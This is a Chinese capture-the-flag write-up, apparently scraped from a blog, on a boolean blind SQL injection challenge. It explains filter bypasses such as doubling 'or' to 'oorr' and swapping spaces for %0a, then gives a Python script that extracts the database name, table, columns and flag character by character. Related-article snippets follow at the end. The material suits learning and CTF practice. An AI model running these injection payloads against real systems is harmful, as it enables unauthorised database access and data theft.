sql注入之布林注入 實驗吧 認真一點啊!

2021-08-19 07:12:57 字數 2880 閱讀 7231

原文:

先簡單地試試,發現輸入1會回顯you are in,輸入其他會回顯you are not in,而輸入1'也會回顯you are not in,這說明單引號沒有被吃掉,還可以使用。

繼續測試發現過濾了and、空格和|,or沒有被過濾。

構造id=1'or%0a'1或者id=1'or/**/'1,看到的回顯卻是you are not in,如果傳值沒有被改變的話,理論上返回的應該是you are in,而如果把代替空格的%0a和/**/去掉,就會回顯you are not in。這就說明,or被改變了。這種改變是可能繞過的,一般的後台處理邏輯是匹配or、or(不分大小寫)、or+空格並替換為空。嘗試改變大小寫和用oorr代替,發現回顯都為you are in,也就是說,後台處理應該是匹配or(小寫),並將其替換為空,並且僅僅處理了一次。

接下來就開始寫盲注指令碼囉,用oorr代替所有含有or的地方,用%0a或者括號代替空格。

還有乙個需要注意的地方:逗號被吃掉了,也就是說盲注的時候就需要用 from to 代替mid函式中的逗號

貼上指令碼:

# -*- coding:utf8 -*-

import requests

chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/?!:@#$%&(),.'

len =len(chars)

url=r''

mys=requests.session()

true_state='you are in'

result =''

# for x in range(50):

# 爆破使用者名稱長度 14

#    payload = "0'oorr((length(user()))=%s)oorr'0"%(x)

# 爆破資料庫長度 18

#    payload = "0'oorr((length(database()))=%s)oorr'0"%(x)

#    myd=

#    res=mys.post(url,data=myd).content

#    if true_state in res:

#        print x

#        print 'true'

#爆破使用者名稱 web7@localhost

# for x in range(14):

#    for y in chars:

#        payload = "0'oorr((mid((user())from(%s)foorr(1)))='%s')oorr'0"%(x+1,y)

#        myd =

#        res=mys.post(url,data=myd).content

#        if true_state in res:

#            result = result + y

#            print 'true'+str(x)

# print result

#爆破資料庫名 ctf_sql_bool_blind

# for x in range(18):

#    for y in chars:

#        payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1,y)

#        myd =

#        res=mys.post(url,data=myd).content

#        if true_state in res:

#            result = result + y

#            print 'true'+str(x)

# print result

#爆破表名 fiag@users

#爆破列名 fl$4g@id@username@password

for xin range(50):

condition =0

for yin chars:

condition = condition +1

# payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)

payload ="0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(x+1,y)

payload = payload.replace(' ',chr(0x0a))

myd =

res=mys.post(url,data=myd).content

if true_statein res:

result = result + y

print 'true'+" "+str(x)+" "+result

break

if condition == len:

result = result +' '

執行截圖:

getflag   這裡有個小坑,如果就這樣提交會是乙個錯誤的答案,這是因為flag中的某個字元被後台的sql處理語句給吃掉了。而這裡比較敏感的字元就只有-了,我們輸入id=1'--,發現回顯為you are not in,說明-確實被吃掉了。所以這個-的位置應該是另乙個字元。 

經過多次測試,得知這裡是個空格。

SQL注入 布林注入

條件 當乙個頁面,存在注入,沒顯示位,沒有輸出sql語句執行錯誤資訊,只能通過頁面返回正常不正常進行判斷進行sql注入。例如 string sql null string a admin or 1 1 string b abc sql select from user where username ...

實驗吧 簡單sql注入之3

簡單sql注入之3 以下皆根據布林盲注手工注入步驟並且借助burpsuite的intruder功能對資料庫名 表名等等進行爆破 需要注意 0x00 爆資料庫 方法一 可以通過burpsuite攔截資料報,更改ascii值重發獲取 1 and length database n 資料庫名長度是4 1 ...

實驗吧 簡單的sql注入之2

burp fuzz 發現過濾了 select 空格而且它是直接die sqli detected 無法雙寫繞過,換大小寫試一下,也被過濾了。無法大小寫繞過。0aselect 0a無法繞過,select 和 select 可以繞過 由於無法使用 所以我們無法使用函式,報錯和database 都無法使用...